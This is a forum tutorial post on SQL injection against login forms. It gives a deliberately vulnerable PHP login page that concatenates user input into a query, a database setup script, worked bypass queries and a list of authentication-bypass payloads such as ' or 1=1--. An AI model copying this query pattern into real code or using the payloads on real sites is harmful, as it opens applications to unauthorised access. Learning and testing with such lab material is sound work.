[-zERAiT]

SQL Injection using Login Queries

Table of content

• Setting up your own vulnerable environment
  
• Injection using SQL querys

Setting up your own vulnerable environment
index.php

PHP Code


<?php 
<html>
    <head>
        <title>SQL Injection using Login Querys</title>
    </head>

    <body>
        <form method="post" action="">
            Username / Password:
            <input type="text" name="uname" />
            <input type="password" name="passwd" />

            <input type="submit" name="submit" value="login" />
        </form>
        <?php
            $a = mysqli_connect("localhost", "root", "", "zerait");
            if(!$a) {
                die(mysqli_connect_error(!$a));
            }
            if(isset($_POST['submit']) && isset($_POST['uname']) && isset($_POST['passwd'])) {
                $u = $_POST['uname'];
                $p = $_POST['passwd'];
                $q = mysqli_query($a, "SELECT 'username', 'password' FROM users WHERE username='$u' AND password='$p'");
                if(!$q) {
                    die(mysqli_error($a));
                }
                if($z = mysqli_num_rows($q)) {
                    echo "Ok"; }
                else {
                    echo "Not ok";
                }
            }

        ?>
    </body>
</html> 


zerait.sql

PHP Code


<?php 
DROP DATABASE IF EXISTS zerait;
CREATE database zerait;
USE zerait;
CREATE TABLE users
        (
        id int(3) NOT NULL AUTO_INCREMENT,
        username varchar(20) NOT NULL,
        password varchar(20) NOT NULL,
        PRIMARY KEY (id)
        );
CREATE TABLE emails
        (
        id int(3)NOT NULL AUTO_INCREMENT,
        email_id varchar(30) NOT NULL,
        PRIMARY KEY (id)
        );

INSERT INTO zerait.users (id, username, password) VALUES ('1', 'admin1', 'hellothisismypassword'), ('2', 'admin2', 'ruahacker?'), ('3', 'admin3', 'iamahacker');

INSERT INTO zerait.emails (id, email_id) VALUES ('1', '[email protected]'), ('2', '[email protected]'), ('3', '[email protected]'); 


Injection using SQL querys
When a user enters a username and password, a SQL query is created and executed to search on the database to verify them.
The query below searches in the table "users" where name is "admin" and password is "admin123". If the entries matches, the user is authenticated and logged in.

PHP Code


<?php 
SELECT * FROM users WHERE name='admin' and password='admin123' 


Since we want to get acces to the site, and don't have an idea what the password is, we're going to try to bypass this by injecting SQL code in the input fields.
The code has to be injected in a way that the SQL statement should generate a valid result, otherwise it wont result in recieving authentication.

PHP Code


<?php 
SELECT * FROM users WHERE name='admin' and password='' or '1'='1' 


In the query above we're guessing that the username is "admin" and as you can see we used "' or '1'='1" as our password.
The password "' or '1'='1" is true cause 1=1 so the authentication never happens.

We're bypassing the password field in the query above, this can also be done in the username field as you can see below.

PHP Code


<?php 
SELECT * FROM users WHERE name='' or '1'='1' and password='' or '1'='1' 


"' or '1'='1" is not the only SQL code you can use, I'll provide a list below.
Spoiler (Click to View)

PHP Code


<?php 
' or '1'='1
' or ' 1=1
' or 1='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
' or 0=0 --
" or 0=0 --' 


If you have any questions, feel free to post them below or PM me directly.
Thanks for viewing my thread.🤝